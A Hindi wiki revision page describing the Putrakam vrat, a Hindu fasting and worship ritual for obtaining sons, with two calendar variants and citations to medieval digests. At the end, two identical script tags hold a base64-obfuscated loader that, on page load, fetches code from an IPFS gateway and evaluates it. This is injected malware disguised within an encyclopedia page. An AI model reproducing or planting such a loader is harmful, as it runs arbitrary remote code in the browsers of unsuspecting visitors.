पुत्रकाम व्रत: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
m (पुत्रकामव्रत का नाम बदलकर पुत्रकाम व्रत कर दिया गया है) |
No edit summary |
||
Line 35: | Line 35: | ||
[[Category:पर्व_और_त्योहार]] | [[Category:पर्व_और_त्योहार]] | ||
[[Category:संस्कृति कोश]] | [[Category:संस्कृति कोश]] | ||
__INDEX__ | __INDEX__ |
Revision as of 06:10, 11 September 2010
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
(1) भाद्रपद पूर्णिमा पर यह व्रत किया जाता है।
- पुत्रहीन व्यक्ति अपने गृह में पुत्रेष्टि करने के उपरान्त उस कंदरा (गुहा) में प्रवेश करता है, जिसमें रुद्र के निवास कर लेने की कल्पना कर ली जाती है।
- रुद्र, पार्वती, नन्दी के लिए होम किया जाता है, पूजा की जाती है और उपवास किया जाता है।
- सहायकों को खिलाकर स्वयं एवं पत्नी को खिलाया जाता है, गुहा की प्रदक्षिणा की जाती है और पत्नी को रुद्र सम्बन्धी कथाएँ सुनायी जाती हैं, पत्नी तीन दिनों तक दूघ एवं चावल खाती है।
- इससे वन्ध्या स्त्री को भी सन्तान उत्पन्न होती है।
- पति को एक सोने या चाँदी या लोहे की शिव प्रतिमा एक प्रादेश (अँगूठे एवं तर्जनी को फैलाने से जो लम्बाई होती है) की लम्बाई की बनवानी पड़ती है।
- प्रतिमा पूजा, उसे अग्नि में तप्त किया जाता है, पुनः उसे एक पात्र में रखकर एक प्रस्थ दूध से अभिषिक्त किया जाता है और उसे पत्नी पी लेती है।[1]
(2) ज्येष्ठ पूर्णमासी पर यह व्रत होता है।
- एक घड़े को श्वेत चावल से भरकर, श्वेत वस्त्र से ढंककर, श्वेत चन्दन से चिह्नित कर और उसमें एक सोने का सिक्का रखकर स्थापित करना चाहिए, उसके ऊपर एक पीतल के पात्र को गुड़ के साथ रखना चाहिए।
- ढक्कन के ऊपर ब्रह्म एवं सावित्री की प्रतिमा रखकर गन्ध आदि से पूजा करनी चाहिए।
- दूसरे दिन प्रातः उसे घड़े का दान किसी ब्राह्मण को कर देना चाहिए।
- ब्राह्मण को भोजन कराना चाहिए।
- अन्त में स्वयं बिना नमक का भोजन करना चाहिए।
- यह एक वर्ष तक प्रति मास मे करना चाहिए।
- 13वें मास में पलंग एवं स्वर्णिम तथा चाँदी की (ब्रह्म एवं सावित्री की) प्रतिमाएँ घृतधेनु के साथ में दान कर देनी चाहिए।
- तिल से होम करना चाहिए।
- ब्रह्मा के नाम का जाप किया जाता है।
- कर्ता (स्त्री-पुरुष) सभी पापों से मुक्त हो जाता है, तथा उत्तम पुत्रों की प्राप्ति करता है।[2]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड 374-376, ब्रह्म पुराण से उद्धरण); हेमाद्रि (व्रतखण्ड 2, 171-172, पद्म पुराण से उद्धरण)।
- ↑ कृत्यकल्पतरु (व्रतखण्ड 376-378, यहाँ पर इसका नाम पुत्रकाम्यव्रत है); हेमाद्रि (व्रतखण्ड 2, 173-174); कृत्यरत्नाकर (193-195, पद्म पुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>